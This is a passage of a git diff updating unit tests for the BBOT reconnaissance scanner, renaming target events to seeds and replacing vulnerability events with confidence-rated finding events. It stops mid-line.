FastAPI, Query app = FastAPI() diff --git a/bbot/test/test_step_1/test__module__tests.py b/bbot/test/test_step_1/test__module__tests.py index 6221b61490..b68ad50a5d 100644 --- a/bbot/test/test_step_1/test__module__tests.py +++ b/bbot/test/test_step_1/test__module__tests.py @@ -2,7 +2,7 @@ import importlib from pathlib import Path -from bbot import Preset +from bbot.scanner import Preset from ..test_step_2.module_tests.base import ModuleTestBase log = logging.getLogger("bbot.test.modules") diff --git a/bbot/test/test_step_1/test_bbot_fastapi.py b/bbot/test/test_step_1/test_bbot_fastapi.py index 669ca827d9..3dca8aeded 100644 --- a/bbot/test/test_step_1/test_bbot_fastapi.py +++ b/bbot/test/test_step_1/test_bbot_fastapi.py @@ -9,7 +9,7 @@ def run_bbot_multiprocess(queue): - from bbot import Scanner + from bbot.scanner import Scanner scan = Scanner("http://127.0.0.1:8888", "blacklanternsecurity.com", modules=["httpx"]) events = [e.json() for e in scan.start()] @@ -27,7 +27,7 @@ def test_bbot_multiprocess(bbot_httpserver): assert len(events) >= 3 scan_events = [e for e in events if e["type"] == "SCAN"] assert len(scan_events) == 2 - assert any(e["data"] == "test@blacklanternsecurity.com" for e in events) + assert any(e.get("data", "") == "test@blacklanternsecurity.com" for e in events) def test_bbot_fastapi(bbot_httpserver): @@ -58,7 +58,7 @@ def test_bbot_fastapi(bbot_httpserver): assert len(events) >= 3 scan_events = [e for e in events if e["type"] == "SCAN"] assert len(scan_events) == 2 - assert any(e["data"] == "test@blacklanternsecurity.com" for e in events) + assert any(e.get("data", "") == "test@blacklanternsecurity.com" for e in events) finally: with suppress(Exception): diff --git a/bbot/test/test_step_1/test_cli.py b/bbot/test/test_step_1/test_cli.py index c566be10fa..d8024c66a2 100644 --- a/bbot/test/test_step_1/test_cli.py +++ b/bbot/test/test_step_1/test_cli.py @@ -12,7 +12,7 @@ async def test_cli_scope(monkeypatch, capsys): monkeypatch.setattr(sys, "exit", lambda *args, **kwargs: True) monkeypatch.setattr(os, "_exit", lambda *args, **kwargs: True) - # basic target without whitelist + # basic target (seeds and target are the same) monkeypatch.setattr( "sys.argv", ["bbot", "-t", "one.one.one.one", "-c", "scope.report_distance=10", "dns.minimal=false", "--json", "-y"], @@ -28,10 +28,7 @@ async def test_cli_scope(monkeypatch, capsys): [ l for l in dns_events - if l["module"] == "TARGET" - and l["scope_distance"] == 0 - and "in-scope" in l["tags"] - and "target" in l["tags"] + if l["module"] == "SEED" and l["scope_distance"] == 0 and "in-scope" in l["tags"] and "seed" in l["tags"] ] ) ip_events = [l for l in lines if l["type"] == "IP_ADDRESS" and l["data"] == "1.1.1.1"] @@ -41,15 +38,15 @@ async def test_cli_scope(monkeypatch, capsys): assert ip_events assert all(l["scope_distance"] == 1 and "distance-1" in l["tags"] for l in ip_events) - # with whitelist + # with target_list different from seeds (seeds are one.one.one.one, target is 192.168.0.1) monkeypatch.setattr( "sys.argv", [ "bbot", "-t", - "one.one.one.one", - "-w", "192.168.0.1", + "-s", + "one.one.one.one", "-c", "scope.report_distance=10", "dns.minimal=false", @@ -67,17 +64,17 @@ async def test_cli_scope(monkeypatch, capsys): assert not any(l["scope_distance"] == 0 for l in lines) dns_events = [l for l in lines if l["type"] == "DNS_NAME" and l["data"] == "one.one.one.one"] assert dns_events + # When seeds are different from target, the seed DNS_NAME should be out-of-scope + # (distance-1) and tagged as a seed, but NOT tagged as a target (since it is not + # part of the target set that in_target() checks). assert all(l["scope_distance"] == 1 and "distance-1" in l["tags"] for l in dns_events) - assert 1 == len( - [ - l - for l in dns_events - if l["module"] == "TARGET" - and l["scope_distance"] == 1 - and "distance-1" in l["tags"] - and "target" in l["tags"] - ] - ) + target_seed_events = [ + l + for l in dns_events + if l["module"] == "SEED" and l["scope_distance"] == 1 and "distance-1" in l["tags"] and "seed" in l["tags"] + ] + assert len(target_seed_events) == 1 + assert all("target" not in l["tags"] for l in target_seed_events) ip_events = [l for l in lines if l["type"] == "IP_ADDRESS" and l["data"] == "1.1.1.1"] assert ip_events assert all(l["scope_distance"] == 2 and "distance-2" in l["tags"] for l in ip_events) @@ -124,9 +121,9 @@ async def test_cli_scan(monkeypatch): with open(output_filename) as f: lines = f.read().splitlines() for line in lines: - if "[IP_ADDRESS] \t127.0.0.1\tTARGET" in line: + if "[IP_ADDRESS] \t127.0.0.1\tSEED" in line: ip_success = True - if "[DNS_NAME] \twww.example.com\tTARGET" in line: + if "[DNS_NAME] \twww.example.com\tSEED" in line: dns_success = True assert ip_success and dns_success, "IP_ADDRESS and/or DNS_NAME are not present in output.txt" @@ -159,11 +156,11 @@ async def test_cli_args(monkeypatch, caplog, capsys, clean_default_config): print(out) # parse YAML output preset = yaml.safe_load(out) - assert preset == { - "description": "depstest", - "scan_name": "depstest", - "config": {"deps": {"behavior": "retry_failed"}}, - } + # description and scan_name should reflect the CLI name + assert preset["description"] == "depstest" + assert preset["scan_name"] == "depstest" + # deps behavior should be set to retry_failed, but allow other config keys to exist + assert preset.get("config", {}).get("deps") == {"behavior": "retry_failed"} # list modules monkeypatch.setattr("sys.argv", ["bbot", "--list-modules"]) @@ -371,7 +368,7 @@ async def test_cli_args(monkeypatch, caplog, capsys, clean_default_config): result = await cli._main() out, err = capsys.readouterr() assert result is True - assert "[ORG_STUB] evilcorp TARGET" in out + assert "[ORG_STUB] evilcorp\tSEED" in out # activate modules by flag caplog.clear() diff --git a/bbot/test/test_step_1/test_db_models.py b/bbot/test/test_step_1/test_db_models.py new file mode 100644 index 0000000000..8c926b84da --- /dev/null +++ b/bbot/test/test_step_1/test_db_models.py @@ -0,0 +1,93 @@ +from datetime import datetime +from zoneinfo import ZoneInfo + +from bbot.models.pydantic import Event +from bbot.core.event.base import BaseEvent +from bbot.models.helpers import utc_datetime_validator +from ..bbot_fixtures import * # noqa + + +def test_pydantic_models(events, bbot_scanner): + # test datetime helpers + now = datetime.now(ZoneInfo("America/New_York")) + utc_now = utc_datetime_validator(now) + assert now.timestamp() == utc_now.timestamp() + now2 = datetime.fromtimestamp(utc_now.timestamp(), ZoneInfo("UTC")) + assert now2.timestamp() == utc_now.timestamp() + utc_now2 = utc_datetime_validator(now2) + assert utc_now2.timestamp() == utc_now.timestamp() + + test_event = Event(**events.ipv4.json()) + assert sorted(test_event.indexed_fields()) == [ + "data", + "host", + "id", + "inserted_at", + "module", + "parent", + "parent_uuid", + "reverse_host", + "scan", + "timestamp", + "type", + "uuid", + ] + + # convert events to pydantic and back, making sure they're exactly the same + for event in ("ipv4", "http_response", "finding", "storage_bucket"): + e = getattr(events, event) + event_json = e.json() + event_pydantic = Event(**event_json) + event_pydantic_dict = event_pydantic.model_dump() + event_reconstituted = BaseEvent.from_json(event_pydantic.model_dump(exclude_none=True)) + assert isinstance(event_json["timestamp"], float) + assert isinstance(e.timestamp, datetime) + assert isinstance(event_pydantic.timestamp, float) + assert not "inserted_at" in event_json + assert isinstance(event_pydantic_dict["timestamp"], float) + assert isinstance(event_pydantic_dict["inserted_at"], float) + + event_pydantic_dict = event_pydantic.model_dump( + exclude_none=True, exclude=["reverse_host", "inserted_at", "archived"] + ) + assert event_pydantic_dict == event_json + event_pydantic_dict.pop("scan") + event_pydantic_dict.pop("module") + event_pydantic_dict.pop("module_sequence") + assert event_reconstituted.json() == event_pydantic_dict + + # make sure we can dedupe events by their id + scan = bbot_scanner() + event1 = scan.make_event("1.2.3.4", parent=scan.root_event) + event2 = scan.make_event("1.2.3.4", parent=scan.root_event) + event3 = scan.make_event("evilcorp.com", parent=scan.root_event) + event4 = scan.make_event("evilcorp.com", parent=scan.root_event) + # first two events are IPS + assert event1.uuid != event2.uuid + assert event1.id == event2.id + # second two are DNS + assert event2.uuid != event3.uuid + assert event2.id != event3.id + assert event3.uuid != event4.uuid + assert event3.id == event4.id + + event_set_bbot = { + event1, + event2, + event3, + event4, + } + assert len(event_set_bbot) == 2 + assert set([e.type for e in event_set_bbot]) == {"IP_ADDRESS", "DNS_NAME"} + + event_set_pydantic = { + Event(**event1.json()), + Event(**event2.json()), + Event(**event3.json()), + Event(**event4.json()), + } + assert len(event_set_pydantic) == 2 + assert set([e.type for e in event_set_pydantic]) == {"IP_ADDRESS", "DNS_NAME"} + + +# TODO: SQL diff --git a/bbot/test/test_step_1/test_dns.py b/bbot/test/test_step_1/test_dns.py index 3f69ee872b..6f26b8b95f 100644 --- a/bbot/test/test_step_1/test_dns.py +++ b/bbot/test/test_step_1/test_dns.py @@ -256,8 +256,8 @@ def custom_lookup(query, rdtype): # first, we check with wildcard detection disabled scan = bbot_scanner( - "bbot.fdsa.www.test.evilcorp.com", - whitelist=["evilcorp.com"], + "evilcorp.com", + seeds=["bbot.fdsa.www.test.evilcorp.com"], config={ "dns": {"minimal": False, "disable": False, "search_distance": 5, "wildcard_ignore": ["evilcorp.com"]}, "speculate": True, @@ -267,6 +267,7 @@ def custom_lookup(query, rdtype): await scan.helpers.dns._mock_dns(mock_data, custom_lookup_fn=custom_lookup) events = [e async for e in scan.async_start()] + assert len(events) == 12 assert len([e for e in events if e.type == "DNS_NAME"]) == 5 assert len([e for e in events if e.type == "RAW_DNS_RECORD"]) == 4 @@ -279,7 +280,12 @@ def custom_lookup(query, rdtype): ] dns_names_by_host = {e.host: e for e in events if e.type == "DNS_NAME"} - assert dns_names_by_host["evilcorp.com"].tags == {"domain", "private-ip", "in-scope", "a-record"} + assert dns_names_by_host["evilcorp.com"].tags == { + "domain", + "private-ip", + "in-scope", + "a-record", + } assert dns_names_by_host["evilcorp.com"].resolved_hosts == {"127.0.0.1"} assert dns_names_by_host["test.evilcorp.com"].tags == { "subdomain", @@ -298,6 +304,7 @@ def custom_lookup(query, rdtype): "subdomain", "in-scope", "txt-record", + "seed", } assert dns_names_by_host["bbot.fdsa.www.test.evilcorp.com"].resolved_hosts == set() @@ -314,8 +321,8 @@ def custom_lookup(query, rdtype): # then we run it again with wildcard detection enabled scan = bbot_scanner( - "bbot.fdsa.www.test.evilcorp.com", - whitelist=["evilcorp.com"], + "evilcorp.com", + seeds=["bbot.fdsa.www.test.evilcorp.com"], config={ "dns": {"minimal": False, "disable": False, "search_distance": 5, "wildcard_ignore": []}, "speculate": True, @@ -325,6 +332,7 @@ def custom_lookup(query, rdtype): await scan.helpers.dns._mock_dns(mock_data, custom_lookup_fn=custom_lookup) events = [e async for e in scan.async_start()] + assert len(events) == 12 assert len([e for e in events if e.type == "DNS_NAME"]) == 5 assert len([e for e in events if e.type == "RAW_DNS_RECORD"]) == 4 @@ -337,7 +345,12 @@ def custom_lookup(query, rdtype): ] dns_names_by_host = {e.host: e for e in events if e.type == "DNS_NAME"} - assert dns_names_by_host["evilcorp.com"].tags == {"domain", "private-ip", "in-scope", "a-record"} + assert dns_names_by_host["evilcorp.com"].tags == { + "domain", + "private-ip", + "in-scope", + "a-record", + } assert dns_names_by_host["evilcorp.com"].resolved_hosts == {"127.0.0.1"} assert dns_names_by_host["test.evilcorp.com"].tags == { "subdomain", @@ -371,6 +384,7 @@ def custom_lookup(query, rdtype): "txt-record", "txt-wildcard", "wildcard", + "seed", } assert dns_names_by_host["bbot.fdsa.www.test.evilcorp.com"].resolved_hosts == set() @@ -443,6 +457,7 @@ def custom_lookup(query, rdtype): "domain", "srv-record", "private-ip", + "seed", } assert dns_names_by_host["test.evilcorp.com"].tags == { "in-scope", @@ -546,13 +561,19 @@ def custom_lookup(query, rdtype): from bbot.scanner import Scanner # test with full scan - scan2 = Scanner("asdfl.gashdgkjsadgsdf.github.io", whitelist=["github.io"], config={"dns": {"minimal": False}}) + + scan2 = Scanner( + "github.io", + seeds=["asdfl.gashdgkjsadgsdf.github.io"], + config={"dns": {"minimal": False}}, + ) await scan2._prep() other_event = scan2.make_event( "lkjg.sdfgsg.jgkhajshdsadf.github.io", module=scan2.modules["dnsresolve"], parent=scan2.root_event ) await scan2.ingress_module.queue_event(other_event, {}) events = [e async for e in scan2.async_start()] + assert len(events) == 4 assert 2 == len([e for e in events if e.type == "SCAN"]) unmodified_wildcard_events = [ @@ -588,8 +609,8 @@ def custom_lookup(query, rdtype): # test with full scan (wildcard detection disabled for domain) scan2 = Scanner( - "asdfl.gashdgkjsadgsdf.github.io", - whitelist=["github.io"], + "github.io", + seeds=["asdfl.gashdgkjsadgsdf.github.io"], config={"dns": {"wildcard_ignore": ["github.io"]}}, exclude_modules=["cloudcheck"], ) diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index ee136be9ac..6e511ae933 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -336,25 +336,111 @@ async def test_events(events, helpers): assert "affiliate" in corrected_event4.tags test_vuln = scan.make_event( - {"host": "EVILcorp.com", "severity": "iNfo ", "description": "asdf"}, "VULNERABILITY", dummy=True + { + "host": "EVILcorp.com", + "severity": "iNformational ", + "confidence": "HIGH", + "description": "asdf", + "name": "Test Finding", + }, + "FINDING", + dummy=True, ) assert test_vuln.data["host"] == "evilcorp.com" - assert test_vuln.data["severity"] == "INFO" + assert test_vuln.data["severity"] == "INFORMATIONAL" test_vuln2 = scan.make_event( - {"host": "192.168.1.1", "severity": "iNfo ", "description": "asdf"}, "VULNERABILITY", dummy=True + { + "host": "192.168.1.1", + "severity": "INFORMATIONAL", + "confidence": "HIGH", + "description": "asdf", + "name": "Vulnerability", + }, + "FINDING", + dummy=True, ) - assert json.loads(test_vuln2.data_human)["severity"] == "INFO" + assert json.loads(test_vuln2.data_human)["severity"] == "INFORMATIONAL" assert test_vuln2.host.is_private + # must have severity with pytest.raises(ValidationError, match=".*validation error.*\nseverity\n.*Field required.*"): - test_vuln = scan.make_event({"host": "evilcorp.com", "description": "asdf"}, "VULNERABILITY", dummy=True) + test_vuln = scan.make_event({"host": "evilcorp.com", "description": "asdf"}, "FINDING", dummy=True) with pytest.raises(ValidationError, match=".*host.*\n.*Invalid host.*"): test_vuln = scan.make_event( - {"host": "!@#$", "severity": "INFO", "description": "asdf"}, "VULNERABILITY", dummy=True + {"host": "!@#$", "severity": "INFORMATIONAL", "confidence": "HIGH", "description": "asdf"}, + "FINDING", + dummy=True, ) + # invalid severity with pytest.raises(ValidationError, match=".*severity.*\n.*Invalid severity.*"): test_vuln = scan.make_event( - {"host": "evilcorp.com", "severity": "WACK", "description": "asdf"}, "VULNERABILITY", dummy=True + {"host": "evilcorp.com", "severity": "WACK", "confidence": "HIGH", "description": "asdf"}, + "FINDING", + dummy=True, ) + # invalid confidence + with pytest.raises(ValidationError, match=".*confidence.*\n.*Invalid confidence.*"): + test_vuln = scan.make_event( + { + "host": "evilcorp.com", + "severity": "HIGH", + "confidence": "INVALID", + "description": "asdf", + "name": "Test", + }, + "FINDING", + dummy=True, + ) + # must have confidence + with pytest.raises(ValidationError, match=".*confidence.*\n.*Field required.*"): + test_vuln = scan.make_event( + {"host": "evilcorp.com", "severity": "HIGH", "description": "asdf", "name": "Test"}, + "FINDING", + dummy=True, + ) + + # test confidence colors and formatting + from bbot.core.event.base import FINDING + + expected_colors = {"CONFIRMED": "🟣", "HIGH": "🔴", "MODERATE": "🟠", "LOW": "🟡", "UNKNOWN": "⚪"} + assert FINDING.confidence_colors == expected_colors + + # test CONFIRMED gets bold formatting + confirmed_finding = scan.make_event( + { + "host": "test.com", + "name": "Test", + "description": "Test", + "severity": "HIGH", + "confidence": "CONFIRMED", + "url": "http://test.com", + }, + "FINDING", + dummy=True, + ) + assert confirmed_finding.host == "test.com" + assert confirmed_finding.port == 80 + assert confirmed_finding.netloc == "test.com:80" + assert confirmed_finding.parsed_url.geturl() == "http://test.com/" + pretty_string = confirmed_finding._pretty_string() + assert "[\033[1mCONFIRMED\033[0m]" in pretty_string + assert f"confidence-{confirmed_finding.data['confidence'].lower()}" in confirmed_finding.tags + + # must have name + with pytest.raises(ValidationError, match=".*name.*\n.*Field required.*"): + test_vuln = scan.make_event( + {"host": "evilcorp.com", "severity": "INFORMATIONAL", "description": "asdf", "confidence": "HIGH"}, + "FINDING", + dummy=True, + ) + + # technology should be lowercased + tech_event = scan.make_event( + {"host": "evilcorp.com", "technology": "HTTP", "url": "http://evilcorp.com/test"}, + "TECHNOLOGY", + dummy=True, + ) + assert tech_event.data["technology"] == "http" + assert tech_event.port == 80 # test tagging ip_event_1 = scan.make_event("8.8.8.8", dummy=True) @@ -501,7 +587,7 @@ async def test_events(events, helpers): assert db_event.parent_chain[0] == str(db_event.uuid) assert db_event.parent.uuid == scan.root_event.uuid assert db_event.parent_uuid == scan.root_event.uuid - timestamp = db_event.timestamp.isoformat() + timestamp = db_event.timestamp.timestamp() json_event = db_event.json() assert isinstance(json_event["uuid"], str) assert json_event["uuid"] == str(db_event.uuid) @@ -522,7 +608,7 @@ async def test_events(events, helpers): assert reconstituted_event.uuid == db_event.uuid assert reconstituted_event.parent_uuid == scan.root_event.uuid assert reconstituted_event.scope_distance == 1 - assert reconstituted_event.timestamp.isoformat() == timestamp + assert reconstituted_event.timestamp.timestamp() == timestamp assert reconstituted_event.data == "evilcorp.com:80" assert reconstituted_event.type == "OPEN_TCP_PORT" assert reconstituted_event.host == "evilcorp.com" @@ -536,21 +622,6 @@ async def test_events(events, helpers): assert hostless_event_json["data"] == "asdf" assert "host" not in hostless_event_json - # SIEM-friendly serialize/deserialize - json_event_siemfriendly = db_event.json(siem_friendly=True) - assert json_event_siemfriendly["scope_distance"] == 1 - assert json_event_siemfriendly["data"] == {"OPEN_TCP_PORT": "evilcorp.com:80"} - assert json_event_siemfriendly["type"] == "OPEN_TCP_PORT" - assert json_event_siemfriendly["host"] == "evilcorp.com" - assert json_event_siemfriendly["timestamp"] == timestamp - reconstituted_event2 = event_from_json(json_event_siemfriendly, siem_friendly=True) - assert reconstituted_event2.scope_distance == 1 - assert reconstituted_event2.timestamp.isoformat() == timestamp - assert reconstituted_event2.data == "evilcorp.com:80" - assert reconstituted_event2.type == "OPEN_TCP_PORT" - assert reconstituted_event2.host == "evilcorp.com" - assert "127.0.0.1" in reconstituted_event2.resolved_hosts - http_response = scan.make_event(httpx_response, "HTTP_RESPONSE", parent=scan.root_event) assert http_response.parent_id == scan.root_event.id assert http_response.data["input"] == "http://example.com:80" @@ -559,9 +630,13 @@ async def test_events(events, helpers): == 'HTTP/1.1 200 OK\r\nConnection: close\r\nAge: 526111\r\nCache-Control: max-age=604800\r\nContent-Type: text/html; charset=UTF-8\r\nDate: Mon, 14 Nov 2022 17:14:27 GMT\r\nEtag: "3147526947+ident+gzip"\r\nExpires: Mon, 21 Nov 2022 17:14:27 GMT\r\nLast-Modified: Thu, 17 Oct 2019 07:18:26 GMT\r\nServer: ECS (agb/A445)\r\nVary: Accept-Encoding\r\nX-Cache: HIT\r\n\r\n\n\n\n Example Domain\n\n \n \n \n \n\n\n\n
\n

Example Domain

\n

This domain is for use in illustrative examples in documents. You may use this\n domain in literature without prior coordination or asking for permission.

\n

More information...

\n
\n\n\n' ) json_event = http_response.json(mode="graph") + assert "data" in json_event + assert "data_json" not in json_event assert isinstance(json_event["data"], str) json_event = http_response.json() - assert isinstance(json_event["data"], dict) + assert "data" not in json_event + assert "data_json" in json_event + assert isinstance(json_event["data_json"], dict) assert json_event["type"] == "HTTP_RESPONSE" assert json_event["host"] == "example.com" assert json_event["parent"] == scan.root_event.id @@ -960,13 +1035,21 @@ async def test_event_closest_host(): event3 = scan.make_event({"path": "/tmp/asdf.txt"}, "FILESYSTEM", parent=event2) assert not event3.host # finding automatically uses the host from the second event - finding = scan.make_event({"description": "test"}, "FINDING", parent=event3) + finding = scan.make_event( + {"description": "test", "severity": "LOW", "confidence": "MODERATE", "name": "Test Finding"}, + "FINDING", + parent=event3, + ) assert finding.data["host"] == "www.evilcorp.com" assert finding.data["url"] == "http://www.evilcorp.com/asdf" assert finding.data["path"] == "/tmp/asdf.txt" assert finding.host == "www.evilcorp.com" # same with vuln - vuln = scan.make_event({"description": "test", "severity": "HIGH"}, "VULNERABILITY", parent=event3) + vuln = scan.make_event( + {"description": "test", "severity": "HIGH", "confidence": "HIGH", "name": "Test Finding"}, + "FINDING", + parent=event3, + ) assert vuln.data["host"] == "www.evilcorp.com" assert vuln.data["url"] == "http://www.evilcorp.com/asdf" assert vuln.data["path"] == "/tmp/asdf.txt" @@ -976,19 +1059,63 @@ async def test_event_closest_host(): event3 = scan.make_event("wat", "ASDF", parent=scan.root_event) assert not event3.host with pytest.raises(ValueError): - finding = scan.make_event({"description": "test"}, "FINDING", parent=event3) - finding = scan.make_event({"path": "/tmp/asdf.txt", "description": "test"}, "FINDING", parent=event3) + finding = scan.make_event( + {"description": "test", "severity": "LOW", "confidence": "MODERATE", "name": "Test Finding"}, + "FINDING", + parent=event3, + ) + finding = scan.make_event( + { + "path": "/tmp/asdf.txt", + "description": "test", + "severity": "LOW", + "confidence": "MODERATE", + "name": "Test Finding", + }, + "FINDING", + parent=event3, + ) assert finding is not None - finding = scan.make_event({"host": "evilcorp.com", "description": "test"}, "FINDING", parent=event3) + finding = scan.make_event( + { + "host": "evilcorp.com", + "description": "test", + "severity": "LOW", + "confidence": "MODERATE", + "name": "Test Finding", + }, + "FINDING", + parent=event3, + ) assert finding is not None with pytest.raises(ValueError): - vuln = scan.make_event({"description": "test", "severity": "HIGH"}, "VULNERABILITY", parent=event3) + vuln = scan.make_event( + {"description": "test", "severity": "HIGH", "confidence": "CONFIRMED", "name": "Test Finding"}, + "FINDING", + parent=event3, + ) vuln = scan.make_event( - {"path": "/tmp/asdf.txt", "description": "test", "severity": "HIGH"}, "VULNERABILITY", parent=event3 + { + "path": "/tmp/asdf.txt", + "description": "test", + "severity": "HIGH", + "confidence": "CONFIRMED", + "name": "Test Finding", + }, + "FINDING", + parent=event3, ) assert vuln is not None vuln = scan.make_event( - {"host": "evilcorp.com", "description": "test", "severity": "HIGH"}, "VULNERABILITY", parent=event3 + { + "host": "evilcorp.com", + "description": "test", + "severity": "HIGH", + "confidence": "CONFIRMED", + "name": "Test Finding", + }, + "FINDING", + parent=event3, ) assert vuln is not None @@ -1069,6 +1196,7 @@ async def test_mobile_app(): @pytest.mark.asyncio async def test_filesystem(): scan = Scanner("FILESYSTEM:/tmp/asdfasdgasdfasdfddsdf") + await scan._prep() events = [e async for e in scan.async_start()] assert len(events) == 3 filesystem_events = [e for e in events if e.type == "FILESYSTEM"] @@ -1084,21 +1212,35 @@ async def test_event_hashing(): url_event = scan.make_event("https://api.example.com/", "URL_UNVERIFIED", parent=scan.root_event) host_event_1 = scan.make_event("www.example.com", "DNS_NAME", parent=url_event) host_event_2 = scan.make_event("test.example.com", "DNS_NAME", parent=url_event) - finding_data = {"description": "Custom Yara Rule [find_string] Matched via identifier [str1]"} + finding_data = { + "description": "Custom Yara Rule [find_string] Matched via identifier [str1]", + "severity": "MEDIUM", + "confidence": "HIGH", + "name": "Finding", + } finding1 = scan.make_event(finding_data, "FINDING", parent=host_event_1) finding2 = scan.make_event(finding_data, "FINDING", parent=host_event_2) finding3 = scan.make_event(finding_data, "FINDING", parent=host_event_2) assert finding1.data == { "description": "Custom Yara Rule [find_string] Matched via identifier [str1]", + "name": "Finding", + "severity": "MEDIUM", + "confidence": "HIGH", "host": "www.example.com", } assert finding2.data == { "description": "Custom Yara Rule [find_string] Matched via identifier [str1]", + "name": "Finding", + "severity": "MEDIUM", + "confidence": "HIGH", "host": "test.example.com", } assert finding3.data == { "description": "Custom Yara Rule [find_string] Matched via identifier [str1]", + "name": "Finding", + "severity": "MEDIUM", + "confidence": "HIGH", "host": "test.example.com", } assert finding1.id != finding2.id diff --git a/bbot/test/test_step_1/test_helpers.py b/bbot/test/test_step_1/test_helpers.py index 68bb524341..56a31f48de 100644 --- a/bbot/test/test_step_1/test_helpers.py +++ b/bbot/test/test_step_1/test_helpers.py @@ -444,8 +444,8 @@ async def test_helpers_misc(helpers, scan, bbot_scanner, bbot_httpserver): with pytest.raises(ValueError): helpers.validators.validate_url("!@#$") # severities - assert helpers.validators.validate_severity(" iNfo") == "INFO" - assert helpers.validators.soft_validate(" iNfo", "severity") is True + assert helpers.validators.validate_severity(" iNformational") == "INFORMATIONAL" + assert helpers.validators.soft_validate(" iNformational", "severity") is True assert helpers.validators.soft_validate("NOPE", "severity") is False with pytest.raises(ValueError): helpers.validators.validate_severity("NOPE") diff --git a/bbot/test/test_step_1/test_manager_deduplication.py b/bbot/test/test_step_1/test_manager_deduplication.py index 987b1c7f6f..9151ad7da8 100644 --- a/bbot/test/test_step_1/test_manager_deduplication.py +++ b/bbot/test/test_step_1/test_manager_deduplication.py @@ -112,7 +112,7 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs) assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "no_suppress_dupes.test.notreal" and str(e.module) == "no_suppress_dupes" and e.parent.data == "test.notreal"]) assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "per_domain_only.test.notreal" and str(e.module) == "per_domain_only"]) assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "per_hostport_only.test.notreal" and str(e.module) == "per_hostport_only"]) - assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "TARGET" and "SCAN:" in e.parent.data["id"]]) + assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "SEED" and "SCAN:" in e.parent.data["id"]]) assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "accept_dupes.test.notreal:88" and str(e.module) == "everything_module" and e.parent.data == "accept_dupes.test.notreal"]) assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "default_module.test.notreal:88" and str(e.module) == "everything_module" and e.parent.data == "default_module.test.notreal"]) assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "per_domain_only.test.notreal:88" and str(e.module) == "everything_module" and e.parent.data == "per_domain_only.test.notreal"]) @@ -126,7 +126,7 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs) assert 1 == len([e for e in default_events if e.type == "DNS_NAME" and e.data == "no_suppress_dupes.test.notreal" and str(e.module) == "no_suppress_dupes"]) assert 1 == len([e for e in default_events if e.type == "DNS_NAME" and e.data == "per_domain_only.test.notreal" and str(e.module) == "per_domain_only"]) assert 1 == len([e for e in default_events if e.type == "DNS_NAME" and e.data == "per_hostport_only.test.notreal" and str(e.module) == "per_hostport_only"]) - assert 1 == len([e for e in default_events if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "TARGET" and "SCAN:" in e.parent.data["id"]]) + assert 1 == len([e for e in default_events if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "SEED" and "SCAN:" in e.parent.data["id"]]) assert len(all_events) == 27 assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "accept_dupes.test.notreal" and str(e.module) == "accept_dupes"]) @@ -138,7 +138,7 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs) assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "no_suppress_dupes.test.notreal" and str(e.module) == "no_suppress_dupes" and e.parent.data == "test.notreal"]) assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "per_domain_only.test.notreal" and str(e.module) == "per_domain_only"]) assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "per_hostport_only.test.notreal" and str(e.module) == "per_hostport_only"]) - assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "TARGET" and "SCAN:" in e.parent.data["id"]]) + assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "SEED" and "SCAN:" in e.parent.data["id"]]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.3" and str(e.module) == "A" and e.parent.data == "test.notreal"]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.3" and str(e.module) == "A" and e.parent.data == "default_module.test.notreal"]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.5" and str(e.module) == "A" and e.parent.data == "no_suppress_dupes.test.notreal"]) @@ -158,7 +158,7 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs) assert 1 == len([e for e in no_suppress_dupes if e.type == "DNS_NAME" and e.data == "no_suppress_dupes.test.notreal" and str(e.module) == "no_suppress_dupes"]) assert 1 == len([e for e in no_suppress_dupes if e.type == "DNS_NAME" and e.data == "per_domain_only.test.notreal" and str(e.module) == "per_domain_only"]) assert 1 == len([e for e in no_suppress_dupes if e.type == "DNS_NAME" and e.data == "per_hostport_only.test.notreal" and str(e.module) == "per_hostport_only"]) - assert 1 == len([e for e in no_suppress_dupes if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "TARGET" and "SCAN:" in e.parent.data["id"]]) + assert 1 == len([e for e in no_suppress_dupes if e.type == "DNS_NAME" and e.data == "test.notreal" and str(e.module) == "SEED" and "SCAN:" in e.parent.data["id"]]) assert len(accept_dupes) == 10 assert 1 == len([e for e in accept_dupes if e.type == "DNS_NAME" and e.data == "accept_dupes.test.notreal" and str(e.module) == "accept_dupes"]) @@ -170,7 +170,7 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs) assert 1 == len([e for e in accept_dupes if e.type == "DNS_NAME" and e.data == "no_suppress_dupes.test.notreal" and str(e.module) == "no_suppress_dupes" and e.parent.data == "test.notreal"]) assert 1 == len([e for e in accept_dupes if e.type == "DNS_NAME" and e.data == "per_domain_only.test.notreal" and str(e.module) == "per_domain_only"]) assert 1 == len([e for e in accept_dupes if e.type == "DNS_NAME" and e.data == "per_hostport_only.test.notreal" and 